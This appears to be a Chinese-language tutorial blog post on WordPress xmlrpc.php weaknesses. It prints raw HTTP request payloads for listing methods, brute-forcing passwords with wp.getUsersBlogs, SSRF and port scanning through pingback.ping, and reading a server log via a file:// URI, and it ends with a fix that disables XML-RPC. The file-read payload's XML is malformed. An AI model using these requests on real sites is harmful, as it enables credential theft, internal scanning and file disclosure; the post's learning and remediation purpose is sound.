当前位置: 首页 > 工具软件 > XMLRPC > 使用案例 >

WordPress XMLRPC安全漏洞

桑坚成
2023-12-01

2021年进入网络安全行业,作为网络安全的小白,分享一些自学基础教程给大家。希望在自己能体系化的总结自己已有的知识的同时,能对各位博友有所帮助。文章内容比较基础,都是参考了很多大神的文章,各位不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力!
由于传播和使用本文所提供的任何直接或间接的后果和损失,均由用户承担,作者对此不承担任何责任。如果文章出现敏感内容产生不良影响,请联系作者删除。
工作中遇到的漏洞,记录一下,本文仅作学习之用,请勿进行网络犯罪,遵守《网络安全法》等相关法律法规。

漏洞描述

很多人会用WordPress搭建了一个个人博客网站 ,WordPress采用了XML-RPC接口,并且通过内置函数WordPress API实现了该接口内容。 通过使用WordPress XML-RPC, 你可以使用业界流行博客客户端Weblog Clients来发布你的WordPress日志和页面。同时,XML-RPC 也可使用extended by WordPress Plugins插件来自定义你的规则。
WordPress程序默认xmlrpc.php开启,现被发现被用来DDOS攻击导致占用资源过高,导致网站卡死。

漏洞复现

1、查看系统允许的方法

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

2、 账号爆破

一般情况下,wordpress的管理后台都会设置账号登录失败次数限制,因此,可以通过xmlprc.php接口来进行爆破。通常会使用wp.getUserBlogs、wp.getCategories和metaWeblog.getUsersBlogs这个方法来进行爆破,也可以使用其他的方法。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>password</value></param>
</params>
</methodCall>

爆破成功会返回博客的内容:

3、SSRF

WordPress 版本< 3.5.1
通过Pingback可以实现的服务器端请求伪造 (Server-side request forgery,SSRF)和远程端口扫描。
构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 99

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>要探测的ip和端口:http://127.0.0.1:80</string></value>
</param><param><value><string>网站上一篇博客的URL:http://localhost/wordpress/?p=1)<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

IP和端口存在,返回包中的中的值大于0:
利用脚本:
https://github.com/FireFart/WordpressPingbackPortScanner

4、读取文件:

构造请求包:

POST /wordpress/xmlrpc.php HTTP/1.1
Host: www.example.com
Content-Length: 297

<methodCall>
<methodName>pingback.ping</methodName>
<param>
</param><value><string>file:///var/log/apache2/access_log</string></value></param>
</param><value><string>file://localhost/tests/wordpress/?p=1</string></value></param>
</params>
</methodCall>

漏洞修复

XMLRPC是WordPress中进行远程调用的接口,如果用户是在本地电脑系统里面发布博客的话,这个功能就完全可以关闭。首先进入WordPress后台界面,点击左侧列表“插件”中的“安装插件”命令,接着搜索并安装一款名为Disable XML-RPC的插件。安装完成后在插件列表找到它,点击“启用”按钮激活它就可以了。
参考链接

 类似资料: